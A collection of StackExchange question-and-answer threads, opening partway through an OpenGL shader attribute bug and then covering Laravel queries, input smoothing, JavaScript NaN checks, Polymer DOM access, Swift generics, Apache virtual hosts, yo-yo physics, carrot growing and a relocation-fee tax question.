vec3 ambient = light.ambient * vec3(texture(material.diffuse, Texture));
// Diffuse
vec3 norm = normalize(Normal);
vec3 lightDir = normalize(light.position - Position);
float diff = max(dot(norm, lightDir), 0.0);
vec3 diffuse = light.diffuse * diff * texture(material.diffuse, Texture).rgb;
// Specular
vec3 viewDir = normalize(viewPosition - Position);
vec3 reflectDir = reflect(-lightDir, norm);
float spec = pow(max(dot(viewDir, reflectDir), 0.0), material.shininess);
vec3 specular = light.specular * spec * texture(material.specular, Texture).rgb;
vec3 resultColor = ambient + diffuse + specular;
outputColor = vec4(resultColor, 1.0);
}
Ну и собственно класс объекта, на котором я это все тесктирую:
using System;
using OpenTK;
using OpenTK.Graphics.OpenGL4;
using RUTClient.Core.Helpers;
using RUTClient.Core.Shaders;
using RUTClient.Core.Output;
using OpenTK.Input;
namespace RUTClient.Core.Primitive
{
class Primitive
{
protected float[] vertices;
protected int vertexBuffer;
protected int vertexArray;
protected int vertexLength;
protected Texture diffuse, specular;
protected Vector2 size;
protected Vector3 position;
protected float angle;
protected Vector3 scale;
protected Matrix4 rotationMatrix;
protected Matrix4 scaleMatrix;
protected Matrix4 translationMatrix;
protected Matrix4 modelMatrix;
protected bool Visible = true;
public virtual void Initialize(Vector2 size, Vector3 startPosition)
{
this.size = size;
angle = 0.0f;
scale = Vector3.One;
position = new Vector3(startPosition.X, -startPosition.Y, startPosition.Z);
vertices = new float[] {
// Positions Normals Texture coords
// front
-0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, //lb
0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, 0.0f, //rb
0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, 1.0f, //ru
0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 1.0f, 1.0f, //ru
-0.5f, 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.0f, 1.0f, //lu
-0.5f, -0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, //lb
// back
0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 1.0f, 1.0f, //ru
0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 1.0f, 0.0f, //rb
-0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.0f, 0.0f, //lb
-0.5f, -0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.0f, 0.0f, //lb
-0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 0.0f, 1.0f, //lu
0.5f, 0.5f, -0.5f, 0.0f, 0.0f, -1.0f, 1.0f, 1.0f, //ru
// right
+0.5f, -0.5f, +0.5f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, //lb
+0.5f, -0.5f, -0.5f, 1.0f, 0.0f, 0.0f, 1.0f, 0.0f, //rb
+0.5f, +0.5f, -0.5f, 1.0f, 0.0f, 0.0f, 1.0f, 1.0f, //ru
+0.5f, +0.5f, -0.5f, 1.0f, 0.0f, 0.0f, 1.0f, 1.0f, //ru
+0.5f, +0.5f, +0.5f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, //lu
+0.5f, -0.5f, +0.5f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, //lb
// left
-0.5f, +0.5f, -0.5f, -1.0f, 0.0f, 0.0f, 1.0f, 1.0f, //ru
-0.5f, -0.5f, -0.5f, -1.0f, 0.0f, 0.0f, 1.0f, 0.0f, //rb
-0.5f, -0.5f, +0.5f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, //lb
-0.5f, -0.5f, +0.5f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, //lb
-0.5f, +0.5f, +0.5f, -1.0f, 0.0f, 0.0f, 0.0f, 1.0f, //lu
-0.5f, +0.5f, -0.5f, -1.0f, 0.0f, 0.0f, 1.0f, 1.0f, //ru
// up
-0.5f, +0.5f, +0.5f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, //lb
+0.5f, +0.5f, +0.5f, 0.0f, 1.0f, 0.0f, 1.0f, 0.0f, //rb
+0.5f, +0.5f, -0.5f, 0.0f, 1.0f, 0.0f, 1.0f, 1.0f, //ru
+0.5f, +0.5f, -0.5f, 0.0f, 1.0f, 0.0f, 1.0f, 1.0f, //ru
-0.5f, +0.5f, -0.5f, 0.0f, 1.0f, 0.0f, 0.0f, 1.0f, //lu
-0.5f, +0.5f, +0.5f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, //lb
// down
+0.5f, -0.5f, -0.5f, 0.0f, -1.0f, 0.0f, 1.0f, 1.0f, //ru
+0.5f, -0.5f, +0.5f, 0.0f, -1.0f, 0.0f, 1.0f, 0.0f, //rb
-0.5f, -0.5f, +0.5f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, //lb
-0.5f, -0.5f, +0.5f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, //lb
-0.5f, -0.5f, -0.5f, 0.0f, -1.0f, 0.0f, 0.0f, 1.0f, //lu
+0.5f, -0.5f, -0.5f, 0.0f, -1.0f, 0.0f, 1.0f, 1.0f, //ru
};
vertexLength = 8;
rotationMatrix = Matrix4.CreateRotationZ(MathHelper.DegreesToRadians(angle));
scaleMatrix = Matrix4.CreateScale(scale);
translationMatrix = Matrix4.CreateTranslation(position);
//modelMatrix = Matrix4.Identity *
// translationMatrix *
// rotationMatrix *
// scaleMatrix;
modelMatrix = Matrix4.Identity;
vertexBuffer = GL.GenBuffer();
GL.BindBuffer(BufferTarget.ArrayBuffer, vertexBuffer);
GL.BufferData(BufferTarget.ArrayBuffer, vertices.Length * sizeof(float), vertices, BufferUsageHint.StaticDraw);
vertexArray = GL.GenVertexArray();
GL.BindVertexArray(vertexArray);
GL.BindBuffer(BufferTarget.ArrayBuffer, vertexBuffer);
int vertexLocation = ShaderManager.guiShader.GetAttribLocation("aPosition");
GL.EnableVertexAttribArray(vertexLocation);
GL.VertexAttribPointer(vertexLocation, 3, VertexAttribPointerType.Float, false, vertexLength * sizeof(float), 0);
int normalLocation = ShaderManager.guiShader.GetAttribLocation("aNormal");
GL.EnableVertexAttribArray(normalLocation);
GL.VertexAttribPointer(normalLocation, 3, VertexAttribPointerType.Float, false, vertexLength * sizeof(float), 3 * sizeof(float));
int texCoordLocation = ShaderManager.guiShader.GetAttribLocation("aTexCoord");
GL.EnableVertexAttribArray(texCoordLocation);
GL.VertexAttribPointer(texCoordLocation, 2, VertexAttribPointerType.Float, false, vertexLength * sizeof(float), 6 * sizeof(float));
}
public virtual void WindowResize(int width, int height)
{
Initialize(new Vector2(width, height), position);
}
public virtual void Update(double time)
{
angle -= 20.0f * (float)time;
rotationMatrix =
Matrix4.CreateRotationX(MathHelper.DegreesToRadians(angle * 1.0f)) *
Matrix4.CreateRotationY(MathHelper.DegreesToRadians(angle * 1.0f)) *
Matrix4.CreateRotationZ(MathHelper.DegreesToRadians(angle * 1.0f));
//modelMatrix = Matrix4.Identity * translationMatrix * rotationMatrix * scaleMatrix;
modelMatrix = Matrix4.Identity;
KeyboardState ks = Keyboard.GetState();
float lightSpeed = 1.0f * (float)time;
if (ks.IsKeyDown(Key.Left))
{
lightPos.X -= lightSpeed;
}
if (ks.IsKeyDown(Key.Right))
{
lightPos.X += lightSpeed;
}
if (ks.IsKeyDown(Key.Up))
{
lightPos.Y += lightSpeed;
}
if (ks.IsKeyDown(Key.Down))
{
lightPos.Y -= lightSpeed;
}
}
private Vector3 lightPos = new Vector3(0.0f, 0.0f, 4.0f);
public virtual void Draw(double time)
{
if (Visible)
{
GL.Enable(EnableCap.DepthTest);
GL.BindVertexArray(vertexArray);
diffuse.Use(TextureUnit.Texture0);
specular.Use(TextureUnit.Texture1);
ShaderManager.objectShader.Use();
ShaderManager.objectShader.SetMatrix4("model", modelMatrix);
ShaderManager.objectShader.SetMatrix4("view", CameraManager.Perspective.GetViewMatrix());
ShaderManager.objectShader.SetMatrix4("projection", CameraManager.Perspective.GetProjectionMatrix());
ShaderManager.objectShader.SetVector3("viewPosition", CameraManager.Perspective.Position);
// Here we specify to the shaders what textures they should refer to when we want to get the positions.
ShaderManager.objectShader.SetVector3("light.position", lightPos);
ShaderManager.objectShader.SetVector3("light.ambient", new Vector3(0.1f));
ShaderManager.objectShader.SetVector3("light.diffuse", new Vector3(10.5f));
ShaderManager.objectShader.SetVector3("light.specular", new Vector3(1.0f));
ShaderManager.objectShader.SetInt("material.diffuse", 0);
ShaderManager.objectShader.SetInt("material.specular", 1);
ShaderManager.objectShader.SetFloat("material.shininess", 32.0f);
GL.DrawArrays(PrimitiveType.Triangles, 0, vertices.Length / vertexLength);
GL.BindVertexArray(vertexArray);
ShaderManager.objectShader.Use();
Matrix4 lampMatrix = Matrix4.Identity;
lampMatrix *= Matrix4.CreateScale(0.025f);
lampMatrix *= Matrix4.CreateTranslation(lightPos);
ShaderManager.objectShader.SetMatrix4("model", lampMatrix);
ShaderManager.objectShader.SetMatrix4("view", CameraManager.Perspective.GetViewMatrix());
ShaderManager.objectShader.SetMatrix4("projection", CameraManager.Perspective.GetProjectionMatrix());
ShaderManager.objectShader.SetVector3("light.ambient", new Vector3(1.0f));
GL.DrawArrays(PrimitiveType.Triangles, 0, vertices.Length / vertexLength);
if (GL.GetError() != ErrorCode.NoError)
{
Console.WriteLine(GL.GetError());
}
}
}
public virtual void Dispose()
{
GL.DeleteBuffer(vertexBuffer);
GL.DeleteVertexArray(vertexArray);
}
public void Show()
{
Visible = true;
}
public void Hide()
{
Visible = false;
}
}
}
Из установленных флагов glEnable() имеется только CullFace и DepthTest, остальное по-умолчанию.
A:
Ошибка из-за невнимательности.
И не одна.
1.
В вершинном шейдере используется
in vec2 aTexture;
а атрибут вызывается
int texCoordLocation = ShaderManager.guiShader.GetAttribLocation("aTexCoord");
Атрибут вызывался у неверного шейдера. Нужно было использовать другой.
В моем случае:
int texCoordLocation = ShaderManager.objectShader.GetAttribLocation("aTexture");
Результат:
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Laravel : to join 2 join OR order with null
How do join this:
$query->leftJoin('tbs_111', 'tbs_111.111_id', '=', 'tbs_222.222_id');
$query->where('tbs_111.111_id', null);
$query->select('tbs_222.*');
And this:
$query->join('tbs_111', 'tbs_111.111_id', '=', 'tbs_222.222_id');
$query->orderBy('tbs_111.111_id', $order);
$query->select('tbs_222.*');
OR , if
$query->where('tbs_111.fine_id', null);
return any number. Exm 1. And After sort all expression.
$query->leftJoin('tbs_111', 'tbs_111.111_id', '=', 'tbs_222.222_id');
$query->if('tbs_111.111_id', null)->return('tbs_111.111_id', 1); //fake code
$query->orderBy('tbs_111.111_id', $order);
$query->select('tbs_222.*');
A:
I finded solution for second part question
$query->leftJoin('tbs_111', 'tbs_111.111_id', '=', 'tbs_222.222_id');
$query->orderBy(\DB::raw('IFNULL(tbs_111.111_id , 1) '), $order);
$query->select('tbs_222.*');
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Finding average input value over time in seconds
I'd like to find the average input value from a controller over the last n seconds (say the last 0.1 seconds) and do this every frame.
I can see how to do this for the past n frames by storing a list of values for the last n frames and averaging that total every frame, but I want to account for a variable frame rate as the resulting output is driving a character controller and should feel precise and consistent. I tried storing a list of value pairs containing the input value and delta time value for every frame, then counting back through the list of delta time values until they sum to n seconds, then using the total of those input values to work out the average, but it seems a bit clunky and means I have to guess how big the list should be to store enough values, is there a better way?
A:
Expanding on Stormwind's lead, I'd be curious whether your application needs a windowed average with equal weights per unit of time, or if an exponential moving average may suffice. The latter is very simple to implement, and can be adapted to a variable framerate like so:
float weight = 1 - pow(1 - responsiveness, dT * referenceFPS);
smoothedValue += (currentValue - smoothedValue) * weight;
Similar to a windowed average, this smooths-out fluctuations in an input signal, and gives the value a degree of "memory" or "inertia," while being much simpler to calculate. The differences is that it weighs the newest samples much more heavily than old samples, and has no absolute cutoff age like a windowed average.
Here's an example of how this compares against a 0.1s windowed average for a signal with a variable sampling rate. Here I'm using responsiveness = 0.5 and referenceFPS = 30
You can see the exponential moving average gives a fairly similar profile to the windowed average, especially when the value changes continuously. For sharp changes in the input value, you can see the exponential average has a somewhat sharper attack, and then closes in on a new sustained value asymptotically (where the moving average is guaranteed to reach a sustained input value by the end of the window duration).
In practice, we can usually tune the responsiveness value to get the desired behaviour.
If your application really needs a windowed average, let us know and we can show you how to implement it efficiently with a ring buffer, albeit with more code complexity than the exponential example above.
A:
Two options:
1. Arithmetic average (worse)
Have a 2-column table that has sufficiently many rows to be able to store all values for your chosen time (0.1 s in your question) at the potentially highest possible, supported frame rate - say 300 fps (unless you limit it to for example 60). 300 fps would mean 30 rows, in order to store all values for the last 0.1 seconds. During each frame, (over)write the oldest one row in the table, in a circular fashion; ie. have an index counter that wraps back to 1 after 30 (or whatever the number of rows is).
Each row holds a time stamp (a time, not a delta time!) and the controller value at that time stamp.
When calc'in the average (sum of values / number of values), per frame apparently, use only rows with a timestamp that is greater than Tnow - 0.1. Ignore other rows, but if all rows are to be ignored, ensure you use at least the most recent row.
Weakness: Potentially much data and calculation, result not necessarily better than [below].
2. Quasi-average (better)
NewValue = [read from controller]
NewShare = min(1, FrameDeltaTime / 0.1)
OldShare = 1 - NewShare
ThisValue = (OldValue * OldShare) + (NewValue * NewShare)
OldValue = ThisValue // Use ThisValue for whatever needed
This gives a nice "rubber band affect", removes some stutter from unstable controllers etc., and above all, it is a minor calculation that produces an equally good result as in /1/ above; additionally itäs easy to trim the 0.1 s into whatever is the good value, by trial and error.
if FrameDeltaTime is 0.0001, it takes 0.999 of the old and 0.001 of the new
if FrameDeltaTime is 0.0167 (60 fps), it takes 0.83 of the old and 0.167 of the new. Doing that repeatedly "seeks" towards whatever the controller outputs.
if FrameDeltaTime is 0.1 it takes 0 of the old and 1 of the new (ie. 0.1 s is the "break point")
if FrameDeltaTime is 5 (eg. a long blocking load delay) it takes 0 of the old and 1 of the new
|
{
"pile_set_name": "StackExchange"
}
|
Q:
SonarQube suggest a!==a instead of a===NaN
There is a SonarQube JavaScript Rule (javascript:S2688) which says that the use of a === NaN is a bug because it's always false.
I agree with that but I think to use a !== a instead (this is suggested by SonarQube) is a very bad idea.
It's a funny JavaScript fact but certainly not a "best practice".
What about Number.isNaN(a)? Why is this not the suggested solution? Are there any differences or problems which I've missed?
A:
the use of a === NaN is a bug because it's always false.
This behaviour is not a bug, because it is how NaN has been defined to work. But if you actually used a === NaN in a program then that would be a bug because of the always-false result.
a !== a instead ... is a very bad idea. It's a funny JavaScript fact but certainly not a "best practice".
I disagree with your "certainly". Due to problems with the original global isNaN() function (which I'll explain in a moment), a !== a was, historically the best way to test for NaN. So in fact it is a very common practice to use that technique, and I would expect the vast majority of experienced JavaScript developers to be familiar with it.
NaN is the only value that tests as not equal to itself.
What about isNaN(a)? Why is this not the suggested solution? Are there any differences or problems which I've missed?
The original, global isNaN() function doesn't actually test whether its argument is NaN. Nor does it test if its argument is some other non-numeric value. What it does is first try to convert its argument to a number and then test if the result of that conversion is equal to NaN. This implicit conversion means that, e.g., isNaN("test") returns true even though a string is not equal to the value NaN. And isNaN("") returns false because an empty string can be coerced to 0. If that behaviour is what you're looking for then yes, use isNaN().
So all of that is why ECMAScript 6/2015 introduced a new function, Number.isNaN(), which does test specifically for the value NaN, giving an equivalent result to the old-school a !== a.
As suggested in the comments, for older browsers (basically old IE) that don't support Number.isNaN(), if you want something clearer than a !== a and don't mind longer code you can do this:
typeof a == "number" && isNaN(a)
...which is one of the two Number.isNaN() polyfills suggested by MDN. (The other just uses a !== a.)
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Why did my carrots split in a way that looks like legs?
This is the first year I've grown carrots. What gave them legs?
I have a theory that the seedlings merged together. I don't know if that is just silly or if carrots just naturally grow like this.
A:
Carrots often develop forked roots when:
the soil is stony
manure is added to the plot shortly before sowing
the bed is too firm
the soil is very heavy and has not been dug sufficiently - carrots like light, well-drained fertile soil
If your soil is stony - and this is what usually causes the problem -, you should have better luck with a short-rooted variety such as Amsterdam.
A:
Anything that impedes the downward growth of the root will do this: stony soil, heavy soil (carrots prefer lighter soils), even damage from pests.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Polymer local dom
I played around with Polymer's local dom selector $$. I want to know if an element with a certain attribute exists. I wrote below example.
Is it by intention, that I cannot reach elements within other custom elements with the $$ selector?
How can I check for the existence of elements inside anothers element?
Is it good to go with document.querySelector?
<script src="https://elements.polymer-project.org/bower_components/webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="https://cdn.rawgit.com/download/polymer-cdn/1.0.1/lib/polymer/polymer.html">
<dom-module id="my-moduleone">
<style>
:host {
height: 100%;
width: 100%;
display: block;
}
</style>
<template>
<div class="content-wrapper">
<content select="*" />
</div>
Counter 1: <span counter1>0</span>
<input type="button" value="Increment counter" on-click="_incrementCounter"/>
</template>
<script>
(function () {
Polymer({
is: 'my-moduleone',
_incrementCounter: function() {
this.$$('[counter1]').innerHTML++;
this.querySelector('[counter2]').innerHTML++;
this.$$('[counter3]').innerHTML++;
}
});
})();
</script>
</dom-module>
<dom-module id="my-moduletwo">
<style>
:host {
width: 100%;
display: inline-block;
}
.counter {
float: left;
height: 100px;
width: 100px;
display: block;
}
.blue {
background-color: lightblue;
}
.magenta {
background-color: magenta;
}
</style>
<template>
<content select="*" />
<span class="counter blue">
Counter 2: <span counter2>0</span>
</span>
<span class="counter magenta">
Counter 3: <span counter3>0</span>
</span>
</template>
<script>
(function () {
Polymer({
is: 'my-moduletwo'
});
})();
</script>
</dom-module>
<my-moduleone>
<my-moduletwo>
</my-moduletwo>
</my-moduleone>
A:
You've said it yourself: this.$$ is a local dom selector. That means you cannot access elements that are added in the light dom. If you are going to access elements in the light dom (or access elements that aren't added in the local dom at registration time), use Polymer.dom instead. This is Polymer's suggested way of manipulating elements, be it in the light dom or the local dom. You also should not use document.querySelector in accessing elements that are inside the local dom of the element since this method cannot (by default) access the shadow dom.
Here is an example of using Polymer.dom:
<!doctype html>
<html>
<head>
<base href="http://polygit.org/components/">
<script src="webcomponentsjs/webcomponents-lite.min.js"></script>
<link href="polymer/polymer.html" rel="import">
</head>
<body>
<dom-module id="my-component-one">
<template>
<div class="content-wrapper">
<content select="*" />
</div>
Counter 1: <span counter1>0</span>
<input type="button" value="Increment counter" on-click="_incrementCounter" />
</template>
</dom-module>
<dom-module id="my-component-two">
<template>
<content select="*" />
<span class="counter blue">
Counter 2: <span counter2>0</span>
</span>
<span class="counter magenta">
Counter 3: <span counter3>0</span>
</span>
</template>
</dom-module>
<my-component-one>
<my-component-two></my-component-two>
</my-component-one>
<script>
(function() {
Polymer({
is: 'my-component-one',
_incrementCounter: function() {
// Note: Polymer.dom(this) accesses the light dom. Use Polymer.dom(this.root)
// to access the element's local dom
var componentTwo = Polymer.dom(this).querySelector('my-component-two');
if (!componentTwo) return; // don't do anything when there is no my-component-two
// access element's local dom by getting it's root property
var c2_counter2 = Polymer.dom(componentTwo.root).querySelector('[counter2]');
var c2_counter3 = Polymer.dom(componentTwo.root).querySelector('[counter3]');
var c1_counter1 = Polymer.dom(this.root).querySelector('[counter1]'); // this can be shortened to this.$$
var c1c1 = parseInt(c1_counter1.innerHTML);
var c2c2 = parseInt(c2_counter2.innerHTML);
var c2c3 = parseInt(c2_counter3.innerHTML);
c1_counter1.innerHTML = c1c1 + 1;
c2_counter2.innerHTML = c2c2 + 1;
c2_counter3.innerHTML = c2c3 + 1;
}
});
Polymer({
is: 'my-component-two'
});
})();
</script>
</body>
</html>
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to create a textbox to contains IPv4 address?
how to make a text box like this?
I think all of use have seen this before and know its features.
A:
Check out this question.
-- Pavel
|
{
"pile_set_name": "StackExchange"
}
|
Q:
TCP Server throughput slows down
I am trying to develop some small app to measure Wi-Fi Throughput. I have this code so far:
private void handle_connection(IAsyncResult result)
{
accept_connection();
client = listener.EndAcceptTcpClient(result);
long total = 0;
double start = DateTime.Now.TimeOfDay.TotalMilliseconds;
while ((flag))
{
try
{
NetworkStream ns = client.GetStream();
byte[] bytesFrom = new byte[1024 * 100];
ns.Read(bytesFrom, 0, (int)client.ReceiveBufferSize);
total += bytesFrom.Length;
double cost = DateTime.Now.TimeOfDay.TotalMilliseconds - start;
double megaBytes = (total / (1024.0 * 1024));
double seconds = Convert.ToDouble((cost / 1000.0).ToString("0.00"));
float MB_Result = Convert.ToSingle((megaBytes / seconds).ToString("0.00"));
float Mbit_Result = MB_Result * 8;
Invoke(new System.Action(() => chart.Series["Mbps"].Points.AddXY(seconds, Mbit_Result)));
Invoke(new System.Action(() => currSpeedLbl.Text = Mbit_Result + " Mbit/s (" + MB_Result + "MB/s)"));
}
catch(Exception)
{
}
}
}
I try to show my results on the graph. At the begging of the transmission I have some 60Mbit/s of speed, but after a while it falls down to 1Mbit. I am very new to network programming, so it is possible I did something terribly stupid. Can I ask for some suggestions? Thank you
A:
You set start at the beginning and don't update it during the course of the application. The first iteration is measured against (now - start) which will be a relatively quick time. Your later iterations will be measured against (now - start) which is a greater amount of time than the previous call. To accurately measure throughput I think you need to move setting the start time to inside your loop, but before your read.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Casting subclass from base class where subclass has generic in Swift
I have a base class type and a subclass type, where the subclass includes a generic type. If I have the subclass stored in the form of the base class type but I would like to type cast it back to the subclass type, Swift won't seem to let me.
Below is an example of what I mean:
class Base {
}
class Next<T> : Base where T : UIView {
var view: T
init(view: T) {
self.view = view
}
}
let a: [Base] = [Next(view: UIImageView()), Next(view: UILabel())]
for item in a {
if let _ = item as? Next {
print("Hey!")
}
}
Why is "Hey!" never printed?
EDIT:
"Hey!" is printed if the cast reads:
if let _ item as? Next<UIImageView> ...
but only for the case of the UIImageView class.
and
"Hey!" is printed if one of the items in the array a is:
Next(view: UIView())
Ideally, I would like to not know what type the generic is when casting, but I realise this may not be possible.
A:
The generic Next<T> is a template of sorts that creates unique separate classes. Next<UIView> and Next<UIImageView> are two completely unrelated types.
You can unite them with a protocol:
class Base {
}
class Next<T> : Base where T : UIView {
var view: T
init(view: T) {
self.view = view
}
}
protocol NextProtocol { }
extension Next: NextProtocol { }
let a: [Base] = [Next(view: UIImageView()), Next(view: UILabel()), Base()]
for item in a {
if item is NextProtocol {
print("Hey!")
} else {
print("Only a Base")
}
}
Output:
Hey!
Hey!
Only a Base
By defining a protocol such as NextProcotol that all classes derived from Next<T> conform to, you can refer to them as a group and distinguish them from other classes that derive from Base.
Note: To check if an item is of a type, use is instead of checking if the conditional cast as? works.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Multiple web sites with virtual hosts not working
I'm trying to use the built in apache web server (2.4) in Mac OSX 10.11.2 to locally develop a website separate from the default website. I believe this can be done using name-based virtual hosts. So I changed my /etc/hosts file to have the line
127.0.0.1 localhost
127.0.0.1 testwebsite.com
and I edited my httpd.conf file to use the vhosts file in /extra:
# Virtual hosts
Include /private/etc/apache2/extra/httpd-vhosts.conf
and I edited the httpd-vhosts.conf to look like this:
#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for all requests that do not
# match a ServerName or ServerAlias in any <VirtualHost> block.
#
<Directory "/Users/me/testwebsite/DocRoot">
Options FollowSymLinks Multiviews
MultiviewsMatch Any
AllowOverride None
Require all granted
</Directory>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot "/Users/me/testwebsite/DocRoot"
ServerName testwebsite.com
ErrorLog "/Users/me/testwebsite/error-log"
CustomLog "/Users/me/testwebsite/access-log" common
</VirtualHost>
#<VirtualHost *:80>
# ServerAdmin [email protected]
# DocumentRoot "/usr/docs/dummy-host2.example.com"
# ServerName dummy-host2.example.com
# ErrorLog "/private/var/log/apache2/dummy-host2.example.com-error_log"
# CustomLog "/private/var/log/apache2/dummy-host2.example.com-access_log" common
#</VirtualHost>
But requests in the browser all go to the new document root. Aka I'd like requests to localhost to give a "It works!" html file from the server's default document root, while serving files from the new document root only for requests to testwebsite.com.
A:
You need a VirtualHost section for each virtual host you want to serve up.
So add another Virtual Host section and modify those entries accordingly.
Altogether you would have something like:
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot "/the/other/path/DocRoot"
ServerName localhost
ErrorLog "/other/path/error-log"
CustomLog "/other/path/access-log" common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot "/Users/me/testwebsite/DocRoot"
ServerName testwebsite.com
ErrorLog "/Users/me/testwebsite/error-log"
CustomLog "/Users/me/testwebsite/access-log" common
</VirtualHost>
The trick is to use the ServerName correctly, which you have done. That and the hosts file hack, a restart of Apache and you should be good.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Disadvantages/Problems with using Apache Beam instead of using Spark directly?
I need to start a new project, and I do not know if Spark or Flink would be better. Currently, the project needs micro-batching but later it could require stream-event-handling as well.
Suppose Spark would be best, is there any disadvantage to using Beam instead and selecting Spark/Flink as the runner/engine?
Will Beam add any overhead or lack certain API/functions available in Spark/Flink?
A:
To answer a part of your question:
First of all, Beam defines API to program for data processing. To adopt it, you have to first understand its programming model and make sure its model will fit your need.
Assuming you have fairly understood what Beam could help you, and you are planning to select Spark as the execution runner, you can check runner capability matrix[1] for Beam API support on Spark.
Regarding to overhead of running Beam over Spark. You might need to ask in [email protected] or [email protected]. Runner developers could have better answers on it.
[1] https://beam.apache.org/documentation/runners/capability-matrix/
|
{
"pile_set_name": "StackExchange"
}
|
Q:
CardView weight with ImageView
I am trying to create a CardView layout where image takes 2/3 of layout and other 1/3 should be textview. But somehow i am getting weird results where weight is never used it always seems that image is taking its space no matter what i set for weight
Here is my current layout
<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:clipToPadding="false"
android:orientation="horizontal"
android:padding="3dp">
<android.support.v7.widget.CardView
android:id="@+id/card_view"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_marginLeft="15dp"
android:layout_marginTop="15dp"
android:layout_marginRight="15dp"
android:layout_weight="1"
android:foreground="?android:attr/selectableItemBackground"
app:cardBackgroundColor="#FFFFFF"
app:cardCornerRadius="15dp"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent">
<android.support.constraint.ConstraintLayout
android:layout_width="match_parent"
android:layout_height="wrap_content">
<ImageView
android:id="@+id/testing"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:adjustViewBounds="true"
android:scaleType="centerCrop"
android:src="@drawable/ic_launcher_background"
app:layout_constraintBottom_toTopOf="@+id/info_text"
app:layout_constraintHorizontal_bias="0.5"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_weight="2" />
<TextView
android:id="@+id/info_text"
android:layout_width="0dp"
android:layout_height="match_parent"
android:gravity="center"
android:text="Testing Text"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintHorizontal_bias="0.5"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toBottomOf="@+id/testing"
app:layout_constraintVertical_weight="2" />
</android.support.constraint.ConstraintLayout>
</android.support.v7.widget.CardView>
</android.support.constraint.ConstraintLayout>
So i always want that weight is used instead of any fixed size.
A:
Set android:layout_height="0dp" and set the ratio like app:layout_constraintDimensionRatio="3:3". It will fix your height issue.
Here is the solution:
<ImageView
android:id="@+id/testing"
android:layout_width="0dp"
android:layout_height="0dp"
android:adjustViewBounds="true"
android:contentDescription="@null"
android:scaleType="centerCrop"
android:src="@drawable/ic_launcher_background"
app:layout_constraintBottom_toTopOf="@+id/info_text"
app:layout_constraintDimensionRatio="1:1"
app:layout_constraintHorizontal_bias="0.5"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_weight="2" />
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Find the minimum speed of a yo-yo, revolving in a vertical circle, so that the cord does not slacken
A yo-yo is swung with a constant speed in a vertical circle. If the yo-yo has a mass of 80 g and the radius of the circle is 1.5 m, find the minimum speed that this yo-yo must have at the top of the circle so that the cord does not slacken.
A:
If the Yo-Yo string doesn't slacken, the centrifugal force at the top is greater than or equal to the force exerted due to the weight of the Yo-Yo (mass of string is considered negligible here). Only then there is some tension in the string to prevent it from slackening.
\begin{align}\require{cancel}\cancel{m}\,\frac{v^2}{r} &\ge \cancel{m}g\\ \frac{v^2}{r} &\ge g\\ v &\ge\sqrt{gr}\end{align}
$m$: mass of the Yo-Yo, $v$: velocity at highest point,
$r$: vertical radius of the circle (or length of the string) and $g$ is acceleration due to gravity.
Since you are looking for minimum speed, we can take minimum value of $v$ , that is
$\sqrt{gr}=\sqrt(9.8\times1.5)=3.83\large\frac{\mathrm{m}}{\mathrm{sec}}$
which is basically independent of the mass of the yo-yo.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How is a relocation fee of more than 40k taxed?
I'm vacating a rent control apartment in California. The owner of the property is paying me more than 40k in early termination of the rent. How is this money going to be taxed?
Will I end up paying short term capital gains? Or something else?
A:
It is ordinary income to you.
You should probably talk to a California licensed CRTP/EA/CPA, but I doubt they'll say anything different. You would probably ask them whether you can treat some of it as a refund of rent paid, but I personally wouldn't feel comfortable with that.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Python Pandas Dataframe GroupBy Size based on condition
